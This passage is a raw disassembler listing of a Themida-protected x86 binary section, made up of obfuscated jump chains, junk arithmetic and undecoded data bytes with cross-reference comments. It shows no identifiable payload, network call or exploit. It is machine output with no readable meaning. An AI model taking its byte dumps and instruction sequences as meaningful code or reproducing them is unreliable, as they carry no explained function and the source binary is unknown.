		dd 0C481FFFEh, 4, 19786866h, 26A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_515485:				; CODE XREF: Themida_:00515894j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	ebp
		push	4BE2h
		mov	[esp], ecx
		push	69BA3108h
		mov	ecx, [esp]
		jmp	loc_50C996
; ---------------------------------------------------------------------------
		db 66h
		dd 2244C01h, 0FFD4A7E9h, 5E089FFh, 4, 0FFBF32E9h, 71DEBEFFh
		dd 96E90815h, 52FFFEDDh, 0FEF446E9h
		db 0FFh
aMsx		db 'Žx(',0             ; DATA XREF: Themida_:005028C8o
		db 0
; ---------------------------------------------------------------------------


loc_5154CF:				; CODE XREF: Themida_:005060E6j
		mov	ecx, 20h
		mov	eax, ecx
		jmp	loc_514623
; ---------------------------------------------------------------------------
		db 89h
		dd 4BB241Ch, 0E9000000h, 0FFFFBB12h
; ---------------------------------------------------------------------------


loc_5154E8:				; CODE XREF: Themida_:0051216Fj
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		jmp	loc_5030B2
; ---------------------------------------------------------------------------
		dw 5351h
		dd 674BD68h, 241C8B41h,	4C481h,	0F3810000h, 0E0D51C3h
		dd 8103EBC1h, 0B6587EBh, 2CF3815Ch, 89ADD5FFh, 0C8015BD9h
		dd 24048759h, 0FF8473E9h, 39BE56FFh, 8102E537h,	4ECh, 24148900h
		dd 0FD5467BAh, 87D2F71Dh, 0C65DE9CAh, 815AFFFFh, 0E0613FEEh
		dd 0CAEE815Fh, 0E965DE53h, 0FFFF7DDBh, 0FED56EE9h
		db 0FFh
byte_51555D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0050291Co
		dd 411589Dh, 0B2E99C24h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51556B:				; CODE XREF: Themida_:00511D00j
		shl	esi, 5
		and	esi, 4F963FBFh
		shl	esi, 8
		xor	esi, 23BA004h
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_5075E2
; ---------------------------------------------------------------------------
		dw 1368h
		dd 89000030h, 6850241Ch, 11D53E1Fh, 0E0442D58h,	0C3899AFAh
		dd 0BB8FE958h
		db 2 dup(0FFh)
word_5155A2	dw 34FFh		; DATA XREF: Themida_:0050297Co
		dd 2434FF24h, 0E3895359h, 0FEF8E0E9h, 0F7DAF7FFh, 84E950D2h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5155BB:				; CODE XREF: Themida_:005134EFj
		shl	edx, 1
		push	11F2h
		mov	[esp], ecx
		push	edi
		sub	esp, 4
		jmp	loc_514BE8
; ---------------------------------------------------------------------------
word_5155CE	dw 8B66h		; DATA XREF: Themida_:005029E8o
		dd 268240Ch, 0E9000009h, 0FFFFA147h, 0B8240489h, 4, 4244401h
		dd 0E92434FFh, 0FFFF4F7Ch
dword_5155F0	dd 0FF2434FFh, 81582434h, 4C4h,	4EC8300h, 0FF4C2BE9h
					; DATA XREF: Themida_:0050293Co
		db 0FFh
; ---------------------------------------------------------------------------


loc_515605:				; CODE XREF: Themida_:00502C92j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_50E3F5
; ---------------------------------------------------------------------------
		db 0FFh
		db 34h,	24h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_504A01
; ---------------------------------------------------------------------------
		db 0B1h
		dd 66CB28DDh, 0C8B6659h, 2C48324h, 0FF7917E9h
		db 0FFh
byte_51563D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00502938o
		dd 11E5E924h, 89510000h, 4C181E1h, 81000000h, 4C1h, 7532E900h
		dd 0BE56FFFFh, 6BA21BD4h, 348BF329h, 0E6895624h, 4C681h
		dd 0E1E90000h, 8BFFFFD1h, 0C483241Ch, 59C82904h, 3B05D829h
		dd 684CA975h, 6045h, 83241489h,	48904ECh, 84BB5324h, 8306F836h
		dd 0B951FFEBh, 48C67BFAh, 531BE181h, 0E1813797h, 247F3700h
		dd 8E0C981h, 0B0E92D74h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5156B7:				; CODE XREF: Themida_:00505256j
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_50DD87
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2414F756h, 8324348Bh, 684E04C4h, 6130h, 0FF0295E9h
		dd 505A66FFh, 8904EC83h, 57B5240Ch, 0E959E888h,	0FFFFFB4Dh
		dd 58E9D001h
		db 0D9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5156F7:				; CODE XREF: Themida_:0050DAE6j
		push	eax
		mov	eax, 54C139EBh
		and	eax, 296D03B4h
		sub	eax, 0F28EC7C6h
		xor	edx, eax
		jmp	loc_50C701
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 796205F8h, 3C8B36E0h, 4C48124h, 5E000000h, 0D268h, 24348900h
		dd 0FF7426E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51572D:				; CODE XREF: Themida_:00511A56j
		pop	esp
		jmp	loc_5048CD
; ---------------------------------------------------------------------------
		db 30h
		dd 0EC6CE9D8h, 0CD31FFFFh, 0FF9D74E9h, 74FF52FFh, 8F5A0424h
		dd 665C2404h, 0E924048Bh, 0FFFF8FBAh, 8704C783h, 565C243Ch
		dd 1BEh, 173FE900h, 0ED810000h,	40DC7A6Fh, 900CE959h, 0E958FFFFh
		dd 0FFFF185Ah
; ---------------------------------------------------------------------------


loc_515778:				; CODE XREF: Themida_:005098E6j
		push	ebp
		mov	ebp, 46384C16h
		add	ebp, 693240B0h
		jmp	loc_516099
; ---------------------------------------------------------------------------


loc_515789:				; CODE XREF: Themida_:00505C2Aj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	37C0h
		jmp	loc_503BD6
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4EA81h, 14870000h, 4895C24h, 62A1E924h, 0EA29FFFFh
		dd 0FF72B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5157B9:				; CODE XREF: Themida_:0050F63Dj
		xchg	edi, [esp]
		jmp	loc_51795D
; ---------------------------------------------------------------------------


loc_5157C1:				; CODE XREF: Themida_:0050611Aj
		add	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_516B94
; ---------------------------------------------------------------------------


loc_5157E4:				; CODE XREF: Themida_:0050B11Dj
		mov	[esp], edx
		mov	dh, 3Bh
		sub	bl, 79h
		add	bl, dh
		add	bl, 79h
		pop	edx
		sub	al, 0E6h
		jmp	loc_50C565
; ---------------------------------------------------------------------------


loc_5157F9:				; CODE XREF: Themida_:00510FA4j
		push	505Dh
		mov	[esp], ebp
		jmp	loc_5164DE
; ---------------------------------------------------------------------------
		dw 0D031h
		dd 0FF7737E9h, 0B65266FFh, 52D2043Ch, 0F3D9E951h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51581A:				; CODE XREF: Themida_:00507073j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_508F51
; ---------------------------------------------------------------------------
		dw 0E941h
		dd 0FFFFF58Bh
; ---------------------------------------------------------------------------


loc_51582C:				; CODE XREF: Themida_:0050399Dj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 6B575F90h
		shr	ecx, 3
		sub	ecx, 1
		and	ecx, 67277FC0h
		jmp	loc_50D080
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0E88304C4h, 24048704h, 243C895Ch,	0C781E789h
		dd 4, 0FF13D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515869:				; CODE XREF: Themida_:0050FDBFj
		add	eax, ecx
		sub	eax, 110829D5h
		jmp	loc_507C92
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
		dd 0D1BA5224h, 4248A07Dh, 0F281DAF7h, 92CBC87Dh, 0FF937DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51588D:				; CODE XREF: Themida_:0050D6F4j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_515485
; ---------------------------------------------------------------------------


loc_515899:				; CODE XREF: Themida_:0051785Aj
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_5060F8
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0DEE981D1h, 98BF28Ch, 5009E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5158B6:				; CODE XREF: Themida_:0050CEC6j
		push	esp
		jmp	loc_50A924
; ---------------------------------------------------------------------------
dword_5158BC	dd 0E92434FFh, 0B3Bh, 4EC8159h,	89000000h, 0AE92434h
					; DATA XREF: Themida_:00502814o
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5158D3:				; CODE XREF: Themida_:00505C8Cj
		push	edx
		jmp	loc_512E5E
; ---------------------------------------------------------------------------
byte_5158D9	db 0FFh, 77h, 38h	; DATA XREF: Themida_:00502834o
		dd 7CA6B850h, 443138E1h, 48B0424h, 4C48324h, 0FF2434FFh
		dd 34FF2434h, 0C4815924h, 4, 5204C483h,	93E9E289h, 81FFFFFEh
		dd 4ECh, 241C8900h, 0DB3A17BBh,	0F3814376h, 1D265FEEh
		dd 3E95CB81h, 72E95C5Bh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515927:				; CODE XREF: Themida_:0050CE68j
		add	ecx, ebp
		sub	ecx, 12510E44h
		pop	ebp
		push	edx
		mov	edx, 537D7A34h
		sub	edx, 62DC53D0h
		or	edx, 42F4FA8h
		not	edx
		shl	edx, 8
		add	edx, 0AF6FED04h
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	59B1h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		not	ecx
		jmp	loc_50B3D2
; ---------------------------------------------------------------------------


loc_515977:				; CODE XREF: Themida_:0050CB33j
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ax
		mov	ah, 9Ah
		shr	ah, 4
		and	ah, 0F2h
		shl	ah, 3
		sub	ah, 0EBh
		push	ebx
		mov	bh, ah
		push	edx
		mov	dl, bh
		jmp	loc_508233
; ---------------------------------------------------------------------------
		db 88h
		dd 0E28852D4h, 0FEDF4FE9h, 0E9EA01FFh, 0FFFF3996h
dword_5159B0	dd 24048B66h, 0FFA336E9h ; DATA	XREF: Themida_:005028ACo
		db 0FFh
; ---------------------------------------------------------------------------


loc_5159B9:				; CODE XREF: Themida_:005085CBj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_513127
; ---------------------------------------------------------------------------
		db 81h
		dd 81517EFh, 27EF8147h,	5E05F70Dh, 0EDBE9h
		db 0
byte_5159D5	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:0050280Co
		dd 0FED0EEE9h, 0D0E9E9FFh, 5651FFFEh, 0F5F1E952h, 0E958FFFEh
		dd 0FFFF82D8h
; ---------------------------------------------------------------------------


loc_5159F0:				; CODE XREF: Themida_:0051296Cj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	edx, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 715443F0h
		xor	edx, edi
		jmp	loc_5081B2
; ---------------------------------------------------------------------------
		dd 3BC98149h, 414A2A75h, 0FFB93CE9h, 0D20566FFh, 0BD4E958h
		dd 0E95E0000h, 0FFFFD107h
; ---------------------------------------------------------------------------


loc_515A2C:				; CODE XREF: Themida_:0050A4DAj
		not	edx
		shl	edx, 3
		or	edx, 0C183261h
		add	edx, 929309Ch
		jmp	loc_50B926
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2474FF57h, 243C8B04h, 0E904C483h,	0FFFFA02Bh, 242C8156h
		dd 49EE609Ch, 9CC5815Dh, 5E49EE60h, 2C8BEB29h, 88BEE924h
		dd 4BAFFFFh, 52000000h,	64B7E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515A7E:				; CODE XREF: Themida_:005034D1j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_50D8BD
; ---------------------------------------------------------------------------
		dd 3A92BB53h, 0C3814112h, 0BF31D58h, 5A76BA52h,	0D32942E7h
		dd 685Ah, 1C290000h, 241C8B24h,	4C481h,	0EB810000h, 0CDBDAA31h
		dd 62F8EA81h, 0DA294893h, 1D4BB850h, 3A2D2863h,	0F764340Fh
		dd 8E0C1D0h, 628CF835h,	8EEA8198h, 1420828h, 8EC281C2h
		dd 58420828h, 2434FF5Bh, 4C4835Bh, 0FFB2C6E9h, 0C8C281FFh
		dd 0E952B024h, 0FFFFDA7Fh
; ---------------------------------------------------------------------------


loc_515AFC:				; CODE XREF: Themida_:005089E9j
		inc	ebx
		jmp	loc_5114BD
; ---------------------------------------------------------------------------
		dw 8B5Eh
		dd 0C4812414h, 4, 3302C183h, 0C31240Ch,	240C3324h, 6624248Bh
		dd 9C2404D3h, 0FF9C2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515B25:				; CODE XREF: Themida_:0050D036j
		add	ebx, 0BC19956Ah
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5035D7
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 24D22424h, 7CE99C24h
		db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_515B4F:				; CODE XREF: Themida_:00503329j
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_50F194
; ---------------------------------------------------------------------------
		db 81h
		dd 4B6F28C6h, 31F8E914h, 8957FFFFh, 4C781E7h, 83000000h
		dd 3C8704C7h, 0B8505C24h, 0B187244h, 0D101C083h, 3765E9E8h
		dd 0EC83FFFFh, 240C8904h, 0FFA19DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515B95:				; CODE XREF: Themida_:0050B3F3j
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, esi
		push	edi
		mov	edi, 2A6C7B8Eh
		jmp	loc_509AEF
; ---------------------------------------------------------------------------
		dd 4F48EB81h, 0EB810C79h, 0E4026296h, 0E95BDD01h, 0FFFED926h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 39AB685Eh, 34890000h
		dd 4E946824h, 4890000h,	24348124h, 2DF76862h, 6824348Bh
		dd 570Dh, 89242C89h, 4C581E5h, 83000000h, 0FF5504C5h, 5D042474h
		dd 5C24048Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_517115
; ---------------------------------------------------------------------------
		db 0D1h
		dd 3AEEE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515C22:				; CODE XREF: Themida_:0050F24Fj
		shl	edi, 1
		add	edi, 3C01D53Dh
		xor	ecx, edi
		jmp	loc_504A7E
; ---------------------------------------------------------------------------


loc_515C31:				; CODE XREF: Themida_:00512B07j
		pop	ecx
		push	5029h
		mov	[esp], edi
		jmp	loc_5058A0
; ---------------------------------------------------------------------------
		db 5Bh
		dd 1C8B5453h, 4C48324h,	0CE685350h, 5B739E6Eh, 27BC381h
		dd 0CB813B8Ch, 0F467512h, 7557EB81h, 0AAE9AF6Eh
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515C67:				; CODE XREF: Themida_:0050AAF9j
		xor	edi, [esp]
		jmp	loc_5171C5
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EB814BD3h, 76AD070Dh, 44E5C381h, 0DE29DAEEh, 4EC815Bh
		dd 89000000h, 0A0BF243Ch, 816A2945h, 0D33947E7h, 0E7D14F2Ah
		dd 4EC81h, 0C890000h, 1A2BB924h, 0D9F7461Dh, 87CCC181h
		dd 0CF0972C6h, 83240C8Bh, 0E7C104C4h, 76F78104h, 81CC90DEh
		dd 0E8211BC6h, 81FE0139h, 0E8211BEEh, 2434FF39h, 4C4815Fh
		dd 0E9000000h, 0FFFF3625h, 5BDE015Eh, 0D27C781h, 0C78105F7h
		dd 47081517h, 0FFCB56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515CF1:				; CODE XREF: Themida_:00507873j
		neg	eax
		add	eax, 67345D60h
		neg	eax
		sub	eax, 862A9971h
		jmp	loc_507070
; ---------------------------------------------------------------------------
		dd 0C6815E54h, 4, 0FABA5253h, 0F71A0F1Dh, 3FC281DAh, 0E928EE0Eh
		dd 3A3h
; ---------------------------------------------------------------------------


loc_515D20:				; CODE XREF: Themida_:0050E66Ej
		push	edx
		mov	edx, 771F45E5h
		xor	edx, 0DAE8FD11h
		add	ebp, edx
		pop	edx
		sub	ecx, 5A0B4F11h
		add	ecx, ebp
		add	ecx, 5A0B4F11h
		mov	ebp, [esp]
		add	esp, 4
		push	36E9h
		mov	[esp], esi
		jmp	loc_509BD7
; ---------------------------------------------------------------------------


loc_515D50:				; CODE XREF: Themida_:00516ABCj
		add	bl, 9Ah
		jmp	loc_511F6E
; ---------------------------------------------------------------------------
		dd 0BB6EC581h, 0EFE98C77h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515D63:				; CODE XREF: Themida_:005045F0j
		mov	ecx, esp
		jmp	loc_50A907
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF83F1h, 0A07972BEh, 0A77EE977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515D7A:				; CODE XREF: Themida_:0050E512j
		pop	ebp
		add	edi, ecx
		add	edi, 715F3ADCh
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		jmp	loc_5160E0
; ---------------------------------------------------------------------------


loc_515D92:				; CODE XREF: Themida_:005035DBj
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_50DBE0
; ---------------------------------------------------------------------------
		db 83h
		dd 0D83004C4h, 0E92434FFh, 0FFFFFE97h, 396DEB81h, 0C30127D7h
		dd 396DC381h, 95E927D7h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515DBB:				; CODE XREF: Themida_:00516C1Cj
		mov	eax, 5861376h
		shl	eax, 5
		jmp	loc_503497
; ---------------------------------------------------------------------------
		dd 0BF57EB01h, 0C8028C0h, 91E9EFD1h, 1FFFFA1h, 0BA685DE8h
		dd 89000050h, 52E92414h, 81FFFF3Ch, 4C3h, 4EB8300h, 5C241C87h
		dd 0FF241C89h, 8B042474h, 0C483241Ch, 24048F04h, 5C26685Ch
		dd 0C890000h, 36E16824h, 0FAE90000h, 5BFFFFE0h,	348BF131h
		dd 4C48124h, 81000000h,	0F033F0F1h, 2E9C130h, 8101E983h
		dd 0F81A55E9h, 0B9515377h, 64E93C60h, 8904EC83h, 595B240Ch
		dd 43FBCB81h, 0CB814EE1h, 235F6B6Bh, 5BD9C381h,	814B2839h
		dd 49A3D5F3h, 0E9D909B2h, 0FFFF6822h
; ---------------------------------------------------------------------------


loc_515E64:				; CODE XREF: Themida_:0050C714j
		xor	edi, [esp]
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_50ADB5
; ---------------------------------------------------------------------------
		dw 8166h
		dd 662054F3h, 1104CB81h, 0A5F38166h, 4810E94Fh,	0C483FFFFh
		dd 0DCD1E904h, 0D328FFFEh, 0FF93BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515E99:				; CODE XREF: Themida_:0050D8C9j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 72B4537Ch
		or	edi, eax
		jmp	loc_514BFE
; ---------------------------------------------------------------------------
		db 1
		dd 54E958C6h, 81FFFFFAh, 4C6h, 4B85000h, 29000000h, 343358C6h
		dd 24343124h, 0E9243433h, 0FFFF881Ch, 5024048Fh, 4B8h
		dd 24440100h, 565D5804h, 5B3F84BEh, 1BE94653h, 81FFFFC4h
		dd 4C3h, 241C8700h, 0FFCC88E9h,	0FF515CFFh, 59042474h
		dd 8B24048Fh, 0D1E92424h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515F0B:				; CODE XREF: Themida_:00507931j
		sub	edx, 32D2715Bh
		mov	ebx, edx
		jmp	loc_50D124
; ---------------------------------------------------------------------------
		dd 575E595Ah, 0FFE57AE9h, 68EA81FFh, 8174820Ah,	4B7853EAh
		dd 76EA814Ch, 101E43Dh,	76C281FAh, 8101E43Dh, 4B7853C2h
		dd 68BF574Ch, 174820Ah,	0F30DE9FAh, 5368FFFEh, 89000068h
		dd 89572434h, 5FFE89DFh, 4A6868h, 24348900h, 0E9242C8Bh
		dd 0FFFF639Ah
; ---------------------------------------------------------------------------


loc_515F6C:				; CODE XREF: Themida_:0050CC5Dj
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_5109F6
; ---------------------------------------------------------------------------
		dd 400E5BB8h, 548AE965h, 8B54FFFFh, 0C481241Ch,	4, 4BD55h
		dd 0EB010000h, 0E9242C8Bh, 0FFFF349Ch, 0DBF7D3F7h, 7E3C14Bh
		dd 387CEB81h, 61E9E1BBh, 1FFFF05h, 5E042474h, 0E92434FFh
		dd 0FFFFF3AEh, 3304E883h, 4312404h, 24043324h, 2404895Ch
		dd 3E30F4B8h, 0DFE9E96Fh, 0D488FFFEh, 1C8B595Ah, 0AB54E924h
		dd 0E95CFFFFh, 0FFFF11BAh
; ---------------------------------------------------------------------------


loc_515FE8:				; CODE XREF: Themida_:0050790Dj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_50B2ED
; ---------------------------------------------------------------------------


loc_515FF5:				; CODE XREF: Themida_:005039D0j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_517449
; ---------------------------------------------------------------------------


loc_515FFD:				; CODE XREF: Themida_:005107D4j
		add	ecx, 4
		jmp	loc_5179E8
; ---------------------------------------------------------------------------


loc_516008:				; CODE XREF: Themida_:00516E38j
		mov	ebp, 4
		jmp	loc_50489E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFCC89E9h, 0CAA9E9FFh, 685FFFFEh, 57ABh,	50240C89h
		dd 0E669668h, 0F512E94Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_516036:				; CODE XREF: Themida_:0051097Ej
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_512A91
; ---------------------------------------------------------------------------
		db 66h
		dd 9C240429h, 0FECA76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516055:				; CODE XREF: Themida_:00512835j
		mov	edi, eax
		pop	eax
		add	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_50E47E
; ---------------------------------------------------------------------------
		dd 5707E5C1h, 9A24ADBFh, 0F2F78152h, 0E9897140h, 0FFFFEF57h
; ---------------------------------------------------------------------------


loc_516080:				; CODE XREF: Themida_:00504A79j
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_516FA0
; ---------------------------------------------------------------------------
dword_516090	dd 582434FFh, 0FF80EDE9h ; DATA	XREF: Themida_:00502A1Co
		db 0FFh
; ---------------------------------------------------------------------------


loc_516099:				; CODE XREF: Themida_:00515784j
		sub	ebp, 46173CE3h
		jmp	loc_50E9CD
; ---------------------------------------------------------------------------
		dd 2C481h, 5B660000h, 0BD665566h, 16664F7h, 0E95D66EBh
		dd 0FFFF1885h
; ---------------------------------------------------------------------------


loc_5160BC:				; CODE XREF: Themida_:005034A7j
		xchg	edx, edi
		jmp	loc_51772A
; ---------------------------------------------------------------------------
		db 81h
		dd 321D3C2h, 67CA8161h,	573B1565h, 0F7777B68h, 4842E97Fh
		dd 0E951FFFFh, 0FFFF3D85h
; ---------------------------------------------------------------------------


loc_5160E0:				; CODE XREF: Themida_:00515D8Dj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5070F7
; ---------------------------------------------------------------------------


loc_5160EC:				; CODE XREF: Themida_:00511E94j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50A960
; ---------------------------------------------------------------------------
		dd 7930C868h, 0C5815D7Bh, 0D1F001Ah, 8BA2E94Dh,	0EC83FFFFh
		dd 240C8904h, 0CB00A8B1h, 0D4B45059h, 0F58E328h, 70E9C0B6h
		dd 5AFFFF51h, 9666850h,	5580435h, 543A4A4Ch, 91DFFF05h
		dd 17A3E99Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51613A:				; CODE XREF: Themida_:0050867Bj
		add	bh, 0Dh
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0E0h
		sub	ah, 96h
		dec	ah
		add	ah, 17h
		mov	cl, ah
		pop	eax
		xor	bh, cl
		jmp	loc_504CF4
; ---------------------------------------------------------------------------


loc_516163:				; CODE XREF: Themida_:0050E20Dj
		push	esp
		jmp	loc_50AFE0
; ---------------------------------------------------------------------------
		db 0F7h, 1Ch, 24h
		dd 0FF72B0E9h, 4BDFFh, 0E9010000h, 43CCE95Dh, 835EFFFFh
		dd 1C8702EBh, 1EE95C24h, 81FFFEF8h, 4C3h, 0A0AFE900h, 0F229FFFFh
		dd 0FF4173E9h, 0E68956FFh, 4C681h, 0E9510000h, 0FFFFE3D3h
; ---------------------------------------------------------------------------


loc_5161AC:				; CODE XREF: Themida_:00505B01j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_505DEF
; ---------------------------------------------------------------------------
		dd 8904EC83h, 62E9240Ch, 31FFFFF3h, 8F66C3h, 0FF7038E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5161D1:				; CODE XREF: Themida_:00505186j
		mov	dx, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		jmp	loc_50D5D9
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEAh, 0E904C483h, 0FFFF319Dh, 0E5883DB4h, 8324048Bh
		dd 0A6E904C4h, 68FFFFC2h, 64B0h, 68243C89h, 7DE1h, 935E9h
		db 0
; ---------------------------------------------------------------------------


loc_516215:				; CODE XREF: Themida_:005036F9j
		mov	[esp], edi
		mov	edi, 3AD8500Bh
		sub	edi, 4CF3265Ah
		or	edi, 7DEE6FB0h
		xor	edi, 0F41B5A94h
		jmp	loc_513D74
; ---------------------------------------------------------------------------


loc_516234:				; CODE XREF: Themida_:0050449Ej
		mov	ebp, edx
		jmp	loc_5093EF
; ---------------------------------------------------------------------------
		db 59h
		dd 1B69E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516242:				; CODE XREF: Themida_:0050AFF4j
		pop	edi
		jmp	loc_50ACAF
; ---------------------------------------------------------------------------
		dd 0B9515B54h, 106B09DDh, 6A96B850h, 0D0F73787h, 0DA887805h
		dd 58C12166h, 9BDE981h,	0CB010043h, 1BB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_51626D:				; CODE XREF: Themida_:005066CFj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 175F6C1Bh
		dec	ecx
		jmp	loc_51068E
; ---------------------------------------------------------------------------


loc_516284:				; CODE XREF: Themida_:0050D1B1j
		add	edx, 0CA837D8h
		add	[edx], ecx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_50A6D4
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24348B24h, 8104C483h, 4ECh, 24148900h, 0C2815A54h, 4
		dd 0FF01A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5162C5:				; CODE XREF: Themida_:005074F6j
		push	ecx
		mov	ecx, 3FCh
		jmp	loc_50E50A
; ---------------------------------------------------------------------------
		dd 0BBB9515Fh, 51324717h, 592414F7h, 0C102E1C1h, 0C18103E9h
		dd 0F9238BE2h, 71E9CF01h, 8BFFFEE4h, 0BAE92424h, 8BFFFF87h
		dd 89502404h, 0A9CE9E0h, 0C283FFFFh, 0FEE3E904h, 489FFFEh
		dd 6E996824h, 0C890000h, 78BA5224h, 0E9030A14h,	0FFFF1797h
		dd 0E6C0C4B6h, 51D6F604h, 0EC8150B5h, 4, 0B2241489h, 1AFCE981h
		dd 0C681FFFFh, 4, 0FF6BA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516345:				; CODE XREF: Themida_:0050DA8Cj
		pop	esi
		push	ebx
		jmp	loc_512FD1
; ---------------------------------------------------------------------------
		dd 9DE9CE89h, 0FFFFFFEFh
		db 34h,	24h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_505C5A
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 8B243433h, 3B662424h, 38E99CC8h, 0BBFFFEC7h,	4, 4245C01h
